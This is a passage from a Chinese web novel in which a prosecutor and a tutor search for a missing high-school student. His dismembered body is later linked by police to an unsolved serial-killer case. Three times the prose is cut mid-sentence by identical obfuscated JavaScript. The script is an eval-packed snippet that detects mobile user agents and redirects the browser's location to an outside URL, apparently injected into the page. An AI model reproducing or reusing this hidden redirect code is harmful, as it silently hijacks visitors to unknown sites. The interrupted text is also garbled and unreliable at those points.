陈彦博手一挥:“话都说到这,沈检,你也没点眼力见,给咱奏个乐啊。来个《梁祝》。” 沈灵均吐槽道:“你也就知道个梁祝。” 戚玉衡摆着手:“我、我没有这个意思……” 沈灵均笑了,直起身:“没事。我好几天没拉了,正好拉一会。” 沈灵均把他的琴取了出来,问戚玉衡道:“你有没有什么想听的?” 戚玉衡有些不好意思地摇了摇头:“我也不太懂,你随便拉就好。” 拉出前三个音,沈灵均才反应过来,他居然下意识地拉了恩斯特的《魔王》——这是现在的他可以拉的最难的曲子了。但拉着拉着,沈灵均便感觉有些吃力,觉得自己实在托大:如今的他投入到练琴的时间和精力都不足,对于这首曲子多声部的处理已经无法像十几岁那样得心应手,拉得乱七八糟的。 但唬住戚玉衡和陈彦博这样的外行,已然是绰绰有余。 一曲结束之后,戚玉衡立刻拍起手来:“好厉害,真好听。” 陈彦博在一旁道:“这曲子叫什么?感觉好难啊。” “《魔王》。确实,我也不知道我怎么就拉这首了……其实我拉得不好。” 为什么选这首呢?为了炫技吗?他长这么大,就算是十几岁最心高气傲、争强好胜的时候,也从未跟别人炫耀过什么。而且,朝谁炫技?陈彦博吗?他一个五音不全、哆来咪发嗦拉西都分不清的音痴,朝他炫技纯属对牛拉琴了。更何况,他的技术水平,陈彦博一清二楚啊,他堪称是这天底下对他的事了解得最清楚的人了。 沈灵均看着戚玉衡亮晶晶的眼睛,忍不住对自己发出灵魂拷问:难不成,他是想在戚玉衡面前炫技……表现自己吗? 51.第 51 章 这个疑问困扰了沈灵均大半个晚上。 沈灵均是真的没搞明白自己行为的逻辑:陈彦博让他去拉琴,无非是看出来戚玉衡有些好奇,让他展示一下——从某种程度上,说是让他炫耀一下也没错。而类似的场面,他年少时没少经历:小的时候,逢年过节,他妈经常叫他在亲戚朋友面前表演节目。 对于看热闹的外行人来说,《流浪者之歌》《春天奏鸣曲》这种级别的曲子已经足够唬人了,沈灵均闭着眼睛都能拉。他一般也都会选择拉这种曲子。有兴致有心情的时候,他也拉过帕格尼尼24这种知名度广同时也颇具技巧性的曲子。但除了练习和比赛,他从未在他人面前拉过《魔王》。 就算是在他十五岁琴技最精湛的时候,《魔王》对他来说也不是首简单的曲子,不是能说拉就拉的。不经过一番苦练,就算是他,也会拉出不堪入耳的锯木头音。 但他为什么,在今晚,在他琴技远不比当年的今天,选择拉了这样一首曲子呢?为了在戚玉衡面前表现?为了展示自己的技术? 沈灵均了解自己,从小到大,他都不是爱表现的人,从不爱刻意吸引别人的目光。今天他搞的这一出,实在太反常,一点都不像他会做出来的事。他会做出这么反常的事……是因为戚玉衡吗?因为……戚玉衡对他来说有些特别? 戚玉衡特别吗? 这个问题很好答,沈灵均会毫不犹豫地答“是”。活了三十几年,由于家庭、职业的关系,沈灵均也算是和各行各业、三教九流的人打过交道,阅人没有无数也有万数。但他此前从未遇见过戚玉衡这样的人。 坚韧、顽强、善良、高尚、温柔……戚玉衡身上有很多美好的特质,沈灵均没法用简单的言语来将这个人描述清楚。他自然是非常特别的。 但,对于他来说,戚玉衡特别吗? 加上一个前缀,这个问题的指向便从戚玉衡本人身上挪到了他与戚玉衡之间的关系上。 沈灵均觉得,他和戚玉衡,应该算是朋友的——虽然戚玉衡和他相处时不太放得开,总是有些紧绷,但沈灵均能感觉到戚玉衡对他散发出的善意和好感。至于他,早就已经把戚玉衡当做朋友来看。但……戚玉衡是个“特别”的朋友吗?特别到让他像是失了智一样,硬撑场面拉了一曲乱七八糟的《魔王》? 在他所有的朋友中,对他而言最特别的、最重要的、与他关系最好的,无疑就是从小一起长大的陈彦博了。他会给陈彦博拉《魔王》吗? 显然不可能。 那他为什么就…… 沈灵均越想脑子越乱。但他前一天晚上几乎没怎么睡,今天又开了半天的车,实在是累了,想着想着,就在一团乱麻的思绪中睡着了。 第二天一早,大雨停了——暂时的停了。根据天气预报,最近三天内容州都会断断续续地下大雨。但气象局没发红橙预警,说明雨势还算可以控制,他们这些上班族依旧得照常上班。 沈灵均刚拉开卧室的门,便闻到了一阵香气。 他往厨房的方向一看,与戚玉衡的眼神对在一起。戚玉衡看到他,脸上先露出一个笑,随后有些局促地说道:“我用厨房里的食材做了些早餐,没经过你的同意……” 沈灵均忙说:“什么同意不同意的,都叫你别跟我这么客气了,多大点事?你要是继续这么跟我客气,我真的要伤心了。你学学陈彦博,你看他多自在,都快把我这当成第二个家了。” 陈彦博这会也从楼上下来了:“就是就是,小戚你跟他客气什么。要不是这离我单位太远,这就是我第一个家。” 陈彦博吸了吸鼻子,随后三步变作两步地跑下了楼:“小戚,你这是做了什么好东西?好香。” “也没做什么,我看冰箱里有些干贝,就做了干贝海鲜粥,还做了些鲜肉锅盔,想吃甜的,还有这个小松饼。我现在正在煎蛋,除了这些,也没有了。” 沈灵均道:“足够丰盛了!你现和的面做的锅盔和松饼吗?” “嗯,不费什么事的。” 说着,戚玉衡用铲子将煎锅中的煎蛋铲进三个不同的碟子里,将其中两个碟子推给了沈灵均和陈彦博二人。 陈彦博的眼神从三人的煎蛋上扫过,随后道:“啊,小戚,你偏心!” 陈彦博指了指沈灵均面前碟子里的煎蛋:“他那个煎蛋好漂亮,特别圆,你看,我的煎蛋和你的煎蛋就丑多了。” 这是很明显的一句玩笑,但沈灵均发现,听了陈彦博的话后,戚玉衡的脸慢慢红了。他似乎是有些无措,右手拿着铲子不断在煎锅里打着转:“我、我……那我,再给你煎一个?” 陈彦博也意外于戚玉衡的认真,正要说话,沈灵均就踢了他一脚,道:“就出一张嘴的人,你还挑三拣四上了?一会你来收拾桌子哦。” 但不知道为什么,看着碟子里那个圆圆的漂亮蛋,沈灵均突地也有些不自在起来。他夺过戚玉衡手中的锅和铲子,把戚玉衡按到椅子上:“玉衡你也坐下吃。” 把锅和铲子放回厨房,沈灵均回到桌边开始吃饭。仔细一看,他盘子里的这个蛋确实好看——是个接近正圆形的太阳蛋,蛋黄在中心,整个蛋没有一点焦边。沈灵均越“欣赏”越觉得不自在,昨晚困扰了他半夜的问题也重新出现在了他的脑海里。 他慌慌张张地结束了这个美蛋短暂的一生。 吃过饭、收拾好厨房,三个人就各自出门上班了。 中午,沈灵均突然接到了何秀红的电话。 何秀红的声音十分焦急:“沈检,我联系不上长乐了!” 沈灵均这会正在食堂吃饭,听到这句话,他立刻放下了手里的筷子:“何姨,你慢慢说,什么情况?长乐没在家吗?” “没有呀!昨天晚上,都快十一点了,他忽然跟我说要出门,说要去见朋友。我问他什么事,他也没有详细和我说,就说朋友有急事找他。昨天不是下大雨吗?我劝他不要去,但他却很固执地要走,我拦不住。他走的时候就跟我说,他晚上不会回来了,但他到现在都没回来。我给他发微信他不回,给他打电话他手机关机……沈检,我很担心……这孩子会不会在外面出什么事了呀?” 说到最后,何秀红的声音已经带了点哭腔。 安抚了何秀红几句后,沈灵均挂断电话,眉头紧皱:李长乐在校时一直表现得非常内向孤僻,没什么朋友,是什么朋友值得他冒大雨去见?思来想去,也只有李长乐暗中喜欢的那个女孩能让李长乐如此做了——前提是李长乐真的去见了朋友。 沈灵均一时也顾不上吃饭了,他离开食堂,找了个安静的角落,给李长乐拨去了几个电话。李长乐的手机一直关机。 沈灵均想了想,给杜菲打了个电话,问她有没有见过李长乐。杜菲说,自从在人民医院分别后,李长乐没有再联系过他,她发过去的微信、打过去的电话,他从没回过、接过,两人再没见过面。 沈灵均犹豫了一会,拨通了宋颖的电话。 不一会,宋颖就把电话接了起来,语气十分生硬地道:“长乐叔叔,你有什么事?” 由于李长乐自述他没有把挨打的事告诉过宋颖,学生欺凌治理委员会评估后,认为宋颖在李长乐遭遇的校园霸凌中不存在明显的失职行为。但由于她没有在刘润年三人对李长乐进行恶整霸凌的时候就采取有力的举措,学校最终对她进行了处分:全校通报批评,取消当年评奖评优资格。 因此,宋颖心中对执意把事情闹大的沈灵均很有一些芥蒂,说话的语气并不算好。 但沈灵均并没介意她的态度:“宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958249|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师,长乐今天去学校了吗?” 宋颖有些阴阳怪气地说:“长乐叔叔,您这话问的,上周一,您亲口给长乐请了一周假。他明天才会来上学,你难道忘了?” “是,我还记得。但长乐昨天晚上冒着大雨离开了家,说是要去见朋友,至今没回来,我心里担心,所以才把电话打到了宋老师你这。” 宋颖闻言,语气稍有和缓:“他没来学校。” “我想问一下,咱们班有没有一个身高在一米六左右,长发、圆脸、内双,一直在住校但是在升上高三之后退了寝,父母都是残疾人的女孩?” 宋颖听完他的话,语气变得有些疑惑:“你问这个学生干什么?” “长乐离开之前,说他是去见朋友的,据我所知,他只和班上的这位同学关系比较好,但我没有这位同学的联系方式,更没有这位同学父母的联系方式,我没有办法,只能打电话来问您了。” 宋颖犹豫了一会,道:“那个女生叫方滢,她父亲在家长群里,你先微信联系他吧。要是他没回复你,你再跟我说,家长的联系方式,我也不能随随便便的给你。” 沈灵均知道了那女孩的名字,也没再坚持。他在家长群里给方滢爸爸发了好友申请,但他等了一个小时,方滢爸爸都没有通过他的申请。 雨又下起来了。 沈灵均心中也愈加焦虑,朝宋颖要了方滢妈妈的手机号。 这一次宋颖没再推脱,还告诉了他另一个信息:“今天方滢也没来上课,她跟我请假了,说父亲病了。说不定是因为父亲病了,她想找要好的同学陪她,所以昨晚才把李长乐叫去了。你也别太担心了,长乐一个大小伙子,应该不会出什么事的。” 是啊,一个正处于青壮年的成年男孩,是社会中最不易受到人身危害的人了。 但看着窗外的雨,沈灵均内心的忧虑不减反增。 沈灵均开始不断地给方滢妈妈打电话,但方滢妈妈的手机也一直关机。 熬到下班,沈灵均再次联系了宋颖,问她要方滢家的地址。宋颖本来还有些犹豫,不愿意透露家长的地址信息,但后来看沈灵均实在是着急,最终将地址告诉了他。 沈灵均顶着雨驱车往方滢家赶去。 方滢家不在容州市区,而是在龙庆县的一个名叫瑞原的村里。因为下大雨,沈灵均不敢开太快,开了近两个小时才开到瑞原村。 方滢在学校登记的地址只写了家在瑞原村,没有填写进一步的详细地址。沈灵均只得敲了当地一户人家的门,向他们询问方滢家的位置。在这户人家的指引下,沈灵均终于找到了方滢家。 在瑞原村一众的二层小楼中,方滢家这栋平房显得有些格格不入。让沈灵均心里一紧的事,在这个大雨滂沱的晚上,方滢家却一片黑暗,没有一点亮光。沈灵均敲了好久的门,都没有人来应门。 沈灵均于是去询问方滢的邻居,问他们知不知道方滢一家的去向。 住在方滢家西侧的人家说不知道,而住在方滢家东侧那户人家的女主人道:“他们去哪了,我不知道。但是我感觉从前天晚上起,他们家就没亮过灯了。” 沈灵均有些急切地问:“您说的是真的?昨天晚上,他们家也一直没亮过灯?” 被他这么一问,女人又不敢肯定了:“反正……反正我看过去的时候,是一次灯也没亮过。” “那最近这两天,您有没有见到他们家的女儿?” 女人摇了摇头:“没见过啊,我没见方滢回来啊。诶……仔细想想,我也有两天没见着方虎他们两口子了。” 雨落在沈灵均打的伞上,发出啪嗒啪嗒的响声。 沈灵均心里慢慢泛起一阵凉意:李长乐不见了,而方滢一家似乎也不知所踪。这是巧合吗? 52.第 52 章 晚上六点多,就在戚玉衡帮着牛明星打包快递的时候,他收到了沈灵均的微信。 【Shen:玉衡,今天你也不用来长乐家上课了。昨天晚上快十一点的时候,长乐说要出门见同学,离开了家,一直到现在还没回来。我怀疑他是去他喜欢的那个女同学家了,我现在正往那女孩家赶。你不用担心,我有了长乐的消息会第一时间联系你。】 戚玉衡连忙放下了手里的快递盒,给沈灵均回了消息: 【戚玉衡:好的。雨天你开车小心。】 随后,戚玉衡便给何秀红打了电话:“何姨,长乐从昨晚到现在一直没回家?” 何秀红在电话那头小声抽泣道:“是啊。他昨天说去见同学,晚上不回家了,就走了。但是到现在为止,他都没往家里来个消息,手机也关机了……玉衡,我现在心里好害怕啊。我满脑子都是坏想法……你说,长乐会不会是在外面遇到车祸了呀?我看了很多短视频,好几个博主都说了,说容州昨天出了好几场车祸。我昨天就应该拦住他的呀!就是有天大的事,也可以白天再干啊!” 戚玉衡一时间也心乱如麻——如果李长乐真的去了同学家,为什么会音讯全无呢?手机没电了,没法往家里报信?容州满大街都是共享充电宝,给手机充电是件很容易的事。就算一时没法给手机充电,但长乐那样一个懂事的孩子,心中一定清楚,何秀红定会担心彻夜未归的他,正常情况下,他肯定会想方设法给家里报信的。 戚玉衡越想越不安,但嘴上还是安慰何秀红道:“何姨,你先别哭,也别胡思乱想。要是长乐真出车祸了,医院肯定得联系家属啊,那我们早就该接到电话了……我这就去长乐家,我去陪着你。你别怕。” 戚玉衡这会也不心疼钱了,直接打车去了李长乐家。 进了门,戚玉衡问道:“长乐还没回来?还没给家里打过电话?” 何秀红红着眼睛,指着茶几上的两部手机,说:“奶奶的手机、我的手机,都在这了,一声都没响。你说这孩子,能跑到哪去呢?” 戚玉衡揽住她的肩膀,朝主卧使了个眼神,小声道:“何姨,奶奶那边,你是怎么说的?” 何秀红压低声音:“没说呢。奶奶现在正睡着呢,她耳朵不好,门又关着,听不见我们说什么。” 两个人在屋里坐立难安地等了两个小时,九点多的时候,门开了。何秀红立刻站起身,但转头一看,发现进来的人是沈灵均。 何秀红心中又是失望又是焦急:“沈检,有长乐的消息了吗?” 沈灵均的目光从二人脸上扫过,摇摇头,低声说:“我去了和长乐要好的那个女同学——方滢方同学家,但没敲开门,似乎是没人在家。长乐大概率不在那。我现在也联系不上方滢的父母。” 沈灵均语气有些疲惫:“长乐的班主任宋老师跟我说,方滢今天没来上课,请了假,理由是父亲病了。但我去当地的镇医院问过了,医院说没收治过方滢的父亲方虎。” 他明显在大雨中奔波了好一阵,头发湿透了,身上的衣服也湿了大半。戚玉衡默默去卫生间拿了一条浴巾递给了他。 “谢谢,”沈灵均接了过来,擦着头发:“我给长乐他妈也打了电话。长乐没去找他妈。这孩子能跑到哪去呢?”沈灵均看向主卧紧闭的门:“奶奶醒着吗?” 戚玉衡把主卧的门推开个缝瞧了一眼,摇摇头。他合拢门,小声说:“我跟他相处这段时间……没听他说起过除了方同学以外的同学或朋友。” 何秀红两手紧紧地攥在一起:“沈检,我们报警吧!” 沈灵均把外衣脱了下来,摇摇头:“长乐是成年男性,不是妇女儿童,我们又不能证明他现在遭遇了人身威胁,在他失踪不到二十四小时的情况下,警察受案的可能性很低。现在报警也没用。但我和杜菲说好了,一会我就去接她,过了二十四小时的时限,我们就去附近的派出所报案。” 戚玉衡立刻道:“我跟你一起去。” 沈灵均朝他露出来一个淡笑,没推辞。 戚玉衡看着他身上的衬衫:“沈检,你把衣服脱下来吧,我用吹风机给你吹干。不然这么一直穿着,容易感冒。” “……谢谢。” 李长乐家里没什么沈灵均能穿的衣服,何秀红最后找了一件李长乐的冲锋衣让沈灵均暂时穿上。但李长乐身材比沈灵均单薄许多,这衣服穿在沈灵均身上有些小,沈灵均于是没有拉拉链。 这场面放在昨天,戚玉衡说不定要偷偷摸摸的欣赏,但此时此刻,他脑海里什么旖旎的想法也无了。 三个人一时间都没有说话。过了一会,何秀红突然道:“诶呀,沈检,你说长乐会不会被人给绑架了啊?” “虽然长乐家里没什么钱,但……但……” 何秀红后面的话没说出口,但沈灵均和戚玉衡都明白了她的意思。 沈灵均摇摇头:“不太可能。长乐和爷爷奶奶一直生活得很简朴,从来没有露过财,也从来没有把他们和我的关系往外宣扬。我这边,除了家人和最亲近的几个朋友,也没人知道长乐一家的存在。” “而且,如果是绑架,我现在应该接到要赎金的电话了呀。” 戚玉衡拉住何秀红的手:“何姨,你冷静一下,别胡思乱想了。你先去睡吧,说不定一觉醒来,长乐就回来了呢?” 何秀红面色发苦:“……我再等等。” 又过了一个小时,沈灵均带着戚玉衡去肿瘤医院接上了杜菲,去惠民街道派出所报了警。警察听完他们的描述,给了他们一张报警回执,道:“你们先回去等消息吧,别太担心,孩子说不定就是跑哪个网吧玩去了。你们之前闹过家庭矛盾没有啊?” 沈灵均道:“没有,一切都好好的。我们家孩子之前从来没去过网吧,也不是贪玩的性格……您看您能不能调一下我们家附近路口的监控?昨天晚上下大雨,孩子大概率是打车从家走的,能不能看看孩子上了哪辆车?” 接待他们的警察有些无奈:“你们先回去等着吧。现在所里值班的人手都快不够了。你们别看街上的人少了,但我们警察的事情其实比平时更多。等明天白天,要是有什么消息、或者需要你们配合的地方,我们自然就联系你们了。家长也别太着急了,大小伙子一个,能有什么事?” 沈灵均心中清楚,警察的处理方式并没有什么大问题——大多数的失踪案,尤其是成年男性的失踪案,往往是当事人“主动”失踪的,在警方这里的优先级从来不高。再待在派出所也是无用,沈灵均便开车把杜菲送回了医院。 送完杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965066|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菲后,沈灵均问戚玉衡:“我送你回家?还是……” 戚玉衡道:“我想回长乐家,我想陪着何姨。” 沈灵均点点头:“我今晚也住在长乐家,说不定他晚上自己就回来了呢……这孩子到底跑哪去了呢?” 戚玉衡想了想,说:“沈检,长乐他有没有可能……回老家了?” “回老家?他们家的老房子已经拆了,他叔叔和姑姑也已经搬去安门市区了,现在又不是清明寒食这种祭扫的日子,他也不会去给他爸上坟……他回去干什么?” “我知道。我也是实在想不出其他长乐能去的地方了,才这么说。” 沈灵均沉默了一会,道:“你说得对,我也实在想不到长乐能去哪了。如果长乐今晚还没回来的话,我明天就请一天假,去他老家跑一趟,再联系一下他的叔叔姑姑……先把咱们能想到的去处都找一遍吧。” 回到李长乐家后,戚玉衡本想睡沙发,但是在沈灵均的坚持下,两个人一起睡在了李长乐的床上。 这一晚,戚玉衡心里揣着李长乐的事,没怎么睡好。他身边的沈灵均同样辗转反侧。第二天早上,两个人一人顶着一对大黑眼圈。 李长乐还没有回来。 于是,草草吃过早饭后,沈灵均便带着戚玉衡开车往安门赶去。安门离容州四百多公里,开车也得四个多小时。戚玉衡知道昨晚沈灵均没睡好,于是在路程行进到一半的时候,戚玉衡提出来和他换着开车,沈灵均同意了。 然而,四个多小时的奔波后,二人并没有听到让他们满意的消息。李家的老房子早已芜草丛生,左邻右舍也都说,近几年间他们从没见过李家老房子里回来过人。李文宏的坟前也一片寂寥,不像是有人来祭拜过的样子。 回到车上,沈灵均沉默了一会,道:“我们去安门市区吧。虽然我觉得长乐大概率不会去找他叔叔姑姑,但还是去一趟,彻底把这个可能排除了才心安。” 沈灵均话音刚落,他的手机就响了。 戚玉衡听到他叫了一声“瞿队”,又连着说了几个对字,随后,他看到,沈灵均搭在方向盘上的左手一下子收紧了。不知道为什么,戚玉衡的心也一下子揪起来了。 “……好的。” “可以。” “我现在在安门,现在就往回赶,大概下午五点左右能到市局吧。” 这通电话打了差不多一分钟。 沈灵均放下电话后,转头看向戚玉衡。 他的脸一如既往的英俊、沉静,只是多了些掩饰不住的疲态。戚玉衡没有在他脸上看出任何代表着不幸的端倪——不对,他感觉,沈灵均的眼眶有些红了。戚玉衡的心忽然狂跳起来,它跳到了他的嗓子眼里,卡住了他的嗓子,让他的说话、吐气都变得异常艰难:“沈检……怎么了?” 沈灵均缓慢地说道:“瞿队……就是市公安局刑侦支队的队长,他跟我说,他们接到报案,有群众在村里的垃圾点发现了几包尸块。初步查看尸块的情况之后,警方认定,被害人是个十七八岁的少年人。由于面部毁损的很严重,全市公安机关现在正在排查符合被害人条件的失踪人员情况。排查到我们这里了。长乐左大腿有一块胎记。昨天我跟警察说过。瞿队说,那些尸块中的左大腿部位,上面也有一块胎记。” 53.第 53 章 戚玉衡觉得自己每一个字都听清了、听懂了,但他又好像完全没理解这段话的含义。 他呆呆地听着沈灵均的话:“瞿队问我,能不能把长乐的头发、牙刷之类的东西拿到市局去,让他们做一下DNA比对,确认被害人身份。” “搞……搞错了吧,”戚玉衡声音颤抖:“不可能的。谁……长乐就是个普通高中生,谁会去……去……杀他呢?” “我也希望不是,”沈灵均把车钥匙拔了下来:“我们两个现在的状态都不适合开车,我们打个车回容州。” “那你的车怎么办?” “再想办法。” 两人一路沉默着,回到了李长乐家。 看到两个人的表情,何秀红就知道他们这一行的结果。大约是许三妹这会醒着,何秀红并不敢大声说话。她默默流着泪,用气音道:“这孩子到底跑哪去了呢?” 沈灵均拍了拍何秀红的肩膀,嘴唇蠕动了几下,道:“说不定警方那边很快就会传来消息了……何姨,长乐的牙刷是哪一个?” 何秀红到卫生间给沈灵均指了一下,问:“沈检,你问这个做什么?” 沈灵均没有对何秀红说实话:“就是正常走警方的流程,长乐现在也算是失踪人口嘛,警方想采他的DNA入库。” 沈灵均取走了李长乐的牙刷,又和戚玉衡一起把李长乐卧室所有带毛囊的头发都挑了出来。随后,两人一起来到了市公安局。 看着市公安局的大门,戚玉衡心中突然漫起一阵恐慌——十二年前,他第一次踏进这里,得到了一个彻底改变了他人生轨迹的坏消息。而现在,另一个坏消息好像要来了。 戚玉衡下意识地拉住了沈灵均的手腕:“……沈检。” 或许是因为他此时脸色太差,沈灵均拍了拍他的手背,安抚道:“玉衡,要不然你在附近找个地方等吧,对面有家便利店,前面不远还有家星巴克。” 戚玉衡立刻摇摇头:“不。我,我就是觉得……不会是长乐吧。不会是我们长乐吧。长乐就是去见同学了呀……” 沈灵均看着他,轻声道:“我不知道。我没法保证。” 沈灵均把手腕从他手里抽出来,反手握住他的手:“……走吧。” 因为沈灵均已经提前与公安方面联系过,他们两人直接来到了位于公安大楼八楼的市局物证中心。物证中心大门门口有很多人在等着,其中有两个戚玉衡认识的人——乔瑜和瞿春光。十几年前,由于戚鸿的案子,戚玉衡与瞿春光有过几面之缘,戚玉衡看到他时便明白过来,他就是沈灵均口中的瞿队。 瞿春光开口道:“沈检,”他指了指身边一个穿白大褂的男人:“我们物证中心的范主任,你们之前见过的。” 沈灵均同那位范主任握了个手,将包里的牙刷和头发拿了出来:“牙刷是长乐的,这个肯定没问题。但因为我和玉衡昨晚在长乐房间睡了一晚,我没法确定他房间内头发的归属,就把房间里的头发都找出来了……结果什么时候能出?” “三个小时吧。”说完,范主任朝二人点了个头,便拿着证物去工作了。 接着,他们二人来到了六楼刑侦支队办案区的一间问询室等待。在他们等待期间,又开始下雨了。 狂风挟着骤雨,风盛时,它就裹着雨狠狠地撞上窗户,发出很大的、啪啦的一声。 戚玉衡和沈灵均沉默地坐着。戚玉衡频繁去看时间:每一次他觉得已经过去了很久的时候,一看手机,发现时间才过去五分钟。 晚上八点三十二,在他们大约等待了两个小时五十分钟的时候,瞿春光和乔瑜推开了房门。 看到他们的一瞬间,戚玉衡就知道了结果。 两人的表情有些沉重、有些为难,瞿春光将一份检查报告递给沈灵均:“比对结果……对上了。” 沈灵均接过来,翻到最后,什么也没说,把报告递给了戚玉衡。戚玉衡的手哆嗦着,翻了好几次才把那薄薄的报告书翻到最后一页,略过一大串检材编号,他提取到几个关键字眼:“被害人遗体”“生物检材”“系来自同一人”。 戚玉衡只觉得脑海内轰的一声,双耳一片嗡鸣。一瞬之间,瞿春光低沉的声音、窗外暴雨冲刷世界的声音、问询室电脑散热器转动的声音,都转化成了吵闹的、刺耳的鸣音,好像有人往他的头里放了一根粗针,让他的所有回忆都染上了鲜红的血色。 怎么会这样。 上周还见过呢。 周六出门的时候还是个完完整整的孩子。 怎么就变成一堆……尸块了呢? 他才刚过完十八岁生日。 是谁?是什么样的畜生,会对一个十八岁的孩子下这种毒手? 不知道过了多久,戚玉衡才慢慢找回了自己的听力,他听到沈灵均道:“你们打算什么时候开始尸检?” 瞿春光道:“我们自然是想……越快越好。” “死亡时间大约在什么时候?” “初步判定是在昨天,也就是十二月四号的上午。想要知道更确切的死亡时间,要等进一步尸检才能确认,但……尸体毁损程度比较高,范主任说,就算是经过了系统的尸检,也很难将死亡时间精确到两个小时以内。” 沈灵均沉默了一会,道:“等等再尸检吧。这孩子的父亲已经不在人世了,母亲再婚了……和他不怎么亲近。但再不亲近也是生母,我一会给她打个电话,问问她想不想在尸检前看孩子一眼。” 瞿春光和乔瑜对视一眼:“但是,孩子的情况,不看也……倒不如等尸检结束之后,让我们法医简单拼缝一下再看呢。” 沈灵均点点头:“我知道。看她的想法吧。” 沈灵均沉吟了一会,道:“瞿队之前跟我说,长乐的尸体是在垃圾点发现的,是被黑色垃圾袋装着的,这两天一直在下雨,长乐又是个高中生……还被碎了尸,面部毁损的又很严重。这个案子,是不是和3.18案有些像?你们有并案的打算吗?” 戚玉衡闻言,擦掉眼角的眼泪,看向瞿春光二人:“3.18案?并案?什么并案?” 察觉出瞿春光略带审视的目光,戚玉衡自我介绍道:“我是戚玉衡,是长乐的家教。” 瞿春光对他露出一个笑:“我知道,我还记得你……好久不见了。以你的年纪,可能没什么太大印象了,你上高中的时候,3.18案已经告一段落了。3.18案,指的是发生于05-08年间的容州男高中生连环被杀案。” 男高中生连环被杀案?戚玉衡仔细回想着,慢慢在记忆深处捞出了些碎片:因为他喜欢读书,所以奶奶拾荒的时候,格外关注带字的东西,经常把旧书、旧报纸捡回家。他记得他在报纸上看过一次有关报道,他记得,报道的题目叫“杀人狂魔再现”,说有个男高中生遇害被碎尸,尸块在某某处被发现,警方展开侦破却并没有查出结果。在学校里,他也曾经听同学们议论过这件事。 对于戚玉衡而言,这桩新闻是一个令人唏嘘的遥远故事,对于初中生来说,凶杀案远不是茶余饭后的合适谈资。于是,这件事没有在戚玉衡心里掀起任何波澜,有关于这件事的讨论也很快便在初中生之间绝迹了。 瞿春光继续说道:“这是一桩悬案。05到08年的这三年间,凶手用非常残忍的手段接连杀害了八名男高中生。因为首位被害人的尸体发现于05年的3月18日,我们警方也管这个案子叫3.18连环杀人案。而又因凶手经常选择在雨夜抛尸,民间也有人称呼这个凶手为雨夜杀人魔。” “我们警方追查了这个案子很久,”说到这,瞿春光微微低下头,面部有些惭色:“……但没查出什么结果。” 瞿春光看向沈灵均,回答他刚才的问题:“沈检说的问题,我们警方也在考虑。晚上十点,我们要开案情简报会,会上要探讨的主要内容之一就是是否并案。初步来看,长乐的案子基本符合3.18连环杀人案的特征。” 说着,瞿春光和乔瑜坐到二人对面,道:“二位……能接受现在做笔录吗?” 戚玉衡点点头。 沈灵均道:“我没问题。但是最后一个见到长乐的不是我们两个,是长乐家里的阿姨。有一些事你们只能去问她。” 瞿春光点点头:“明白。” 等乔瑜打开电脑,瞿春光问道:“长乐的成绩怎么样?” 瞿春光问出的第一个问题居然是问长乐的成绩,这让戚玉衡有些意外。但他还是老实答道:“在他们班级,算是中游偏下的水平吧。最近的一次月考是他选科之后考得最好的一次,考了四百九十分,超过本科线四五十分的样子。之前,他也就是在本科线附近徘徊的水平。” 听了这话,瞿春光和乔瑜的表情一下子变得有些古怪,两人都皱起了眉。 戚玉衡看着他们,不由得也拧紧了眉,他心里冒出来一股火气,手也下意识地攥成了拳——怎么了?他们是不满吗?是觉得长乐成绩差吗?成绩差怎么了?警察难道还歧视差生吗? 沈灵均似乎是察觉到了他的情绪,用左手包住了他的右手,在一旁道:“这是不是就和3.18案的情况有些不同了?在3.18案的八位受害人中,有两位是我的师兄,两个人的成绩都很优秀。如果我没记错的话,3.18案八位受害人的成绩都非常好,在他们就读的学校中都名列前茅,这是3.18案的一个显著特征。因为凶手有这样的目标偏好,又会将被害人碎尸,当时我的很多同学都叫他‘优等生屠夫’。” 瞿春光点点头:“对,没错。是了,沈检读高中的时候,正是这个凶手闹得全容州人心惶惶的时候……3.18案所有被害人的成绩都非常优秀,基本上都是学校的前三十名。小……戚先生,你别误会。我这个问题没别的意思。” 瞿春光接着问道:“长乐最近有没有和人结过仇?” 沈灵均道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980558|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算有吧。上周一,他和三个同班同学打了一架。他喜欢他们班的一个叫方滢的女同学,这位方同学家境贫寒,为了赚学费,她瞒着家里人退掉了宿舍,在一个酒吧做伴舞打工。没想到被他那几个同班同学发现了。那几个同班同学知道长乐与方同学关系有些暧昧,就对着他说了几句侮辱方同学的话。长乐本来就长期被那几个同学校园欺凌,又听到自己喜欢的女孩被人辱骂,忍无可忍和他们三个打了架,我也因此被学校叫了家长。” 